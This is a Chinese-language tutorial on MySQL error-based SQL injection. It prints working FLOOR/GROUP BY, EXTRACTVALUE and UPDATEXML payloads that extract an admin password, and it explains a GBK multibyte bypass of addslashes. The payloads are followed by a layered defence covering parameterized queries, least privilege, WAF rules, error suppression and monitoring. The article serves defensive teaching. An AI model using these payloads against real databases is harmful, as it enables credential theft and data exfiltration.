萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> MySQL 教學

MySQL SQL 注入錯誤回顯技術原理與防禦體系建設

聲明

本文僅供安全研究與防禦建設參考,**嚴禁用於非授權測試或攻擊**。所有範例均在受控環境驗證,旨在幫助開發者理解注入原理,建構更安全的應用。

錯誤回顯注入核心機制

利用 MySQL 函數在特定條件下拋出錯誤,將查詢結果 (版本、資料表名、帳號密碼) 嵌入錯誤訊息回顯。前提:應用將 SQL 錯誤直接返回給前端 (如 display_errors=On、未捕獲異常)。

三大經典 Payload 深度解析

1. FLOOR() + GROUP BY 隨機碰撞 (MySQL 5.1+)

-- 基礎結構
SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT VERSION()), FLOOR(RAND(0)*2)) x 
               FROM information_schema.tables GROUP BY x) a;

-- 實戰:提取 admin 密碼
SELECT * FROM article WHERE id = 1 AND (
    SELECT 1 FROM (
        SELECT COUNT(*), CONCAT((SELECT pass FROM admin LIMIT 1), FLOOR(RAND(0)*2)) x
        FROM information_schema.tables GROUP BY x
    ) a
);

原理:RAND(0) 固定種子產生確定性隨機序列,FLOOR(RAND(0)*2) 交替產生 0,1,0,1...。GROUP BY x 時,MySQL 先建虛擬表,再插入聚合結果。當同一 x 值第二次插入時觸發 Duplicate entry 錯誤,錯誤訊息包含 CONCAT 內容。
限制:需可控制 GROUP BY 子句,且錯誤回顯。

2. ExtractValue() XPath 語法錯誤 (MySQL 5.1.5+)

-- 基礎
SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT VERSION())));

-- 實戰
SELECT * FROM article WHERE id = 1 AND 
EXTRACTVALUE(1, CONCAT(0x5c, (SELECT pass FROM admin LIMIT 1)));

原理:EXTRACTVALUE(xml_frag, xpath_expr) 解析 XPath。0x5c 為反斜線 \,構造非法 XPath \version_string 觸發 XPATH syntax error: 'version_string'。
優勢:無需 GROUP BY,語句更短,繞過部分 WAF。

3. UpdateXML() XPath 錯誤 (MySQL 5.1.5+)

-- 基礎
SELECT UPDATEXML(1, CONCAT(0x5e24, (SELECT VERSION()), 0x5e24), 1);

-- 實戰
SELECT * FROM article WHERE id = 1 AND 
1 = (UPDATEXML(1, CONCAT(0x5e24, (SELECT pass FROM admin LIMIT 1), 0x5e24), 1));

原理:0x5e24 為 ^$,構造 ^$version^$ 非法 XPath。UPDATEXML 第三參數為替換次數,設 1 即可。錯誤訊息同樣回顯查詢結果。

為什麼 addslashes() 失效?

-- GBK 編碼環境下
' OR 1=1 /*  →  addslashes →  \' OR 1=1 /*
-- 攻擊者輸入 0xbf27 (GBK 雙字節字符 '縗' 的第二字節 + 單引號)
-- addslashes 將 0xbf27 → 0xbf5c27 (\' 在 GBK 中仍為有效雙字節 + 單引號)
-- 繞過轉義,單引號閉合成功

addslashes 不感知字符集,多字節編碼 (GBK/BIG5/Shift_JIS) 易被繞過。

現代防禦體系:分層纏繞

第 1 層:參數化查詢 (核心,解決 99% 注入)

-- PDO (PHP)
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND status = ?');
$stmt->execute([$email, 1]);

-- MyBatis (Java)


-- Node.js mysql2
const [rows] = await pool.execute('SELECT * FROM users WHERE email = ?', [email]);

**原則**:永遠不拼接 SQL 字串,所有動態值走參數綁定。

第 2 輸入驗證與型別強制

// ID 必須為整數
$id = (int)($_GET['id'] ?? 0);
// 或
if (!ctype_digit($id)) throw new InvalidArgumentException('Invalid ID');

第 3 層:最小權限資料庫帳號

  • 應用帳號僅擁有業務所需庫的 SELECT/INSERT/UPDATE/DELETE。
  • 禁用 DROP、ALTER、FILE、PROCESS 等高危權限。
  • 不同微服務/模組使用獨立帳號。

第 4 層:WAF / RASP (運行時防護)

  • ModSecurity + OWASP CRS 規則集攔截常見 Payload。
  • OpenRASP / 百度 OpenRASP 掛鉤引擎運行時檢測。

第 5 層:錯誤資訊不外洩

# php.ini
display_errors = Off
log_errors = On
error_log = /var/log/php/error.log

# 框架層統一異常處理,返回通用錯誤頁/JSON,不暴露堆疊/ SQL

第 6 層:審計與監控

  • 開啟 MySQL 一般查詢日誌 / 審計插件 (MariaDB Audit Plugin、MySQL Enterprise Audit)。
  • SIEM 關聯分析:高頻報錯、異常 UNION/EXTRACTVALUE/UPDATEXML 關鍵字告警。

自查清單

  1. 全專案掃描:是否存在字串拼接 SQL?
  2. 所有動態參數是否參數化?
  3. 錯誤頁是否洩露 SQL/堆疊/資料庫版本?
  4. 資料庫帳號權限是否最小化?
  5. WAF 規則是否更新至最新?

防禦 SQL 注入沒有銀彈,**參數化查詢 + 最小權限 + 錯誤不回顯** 才是鐵三角。

copyright © 萬盛學電腦網 all rights reserved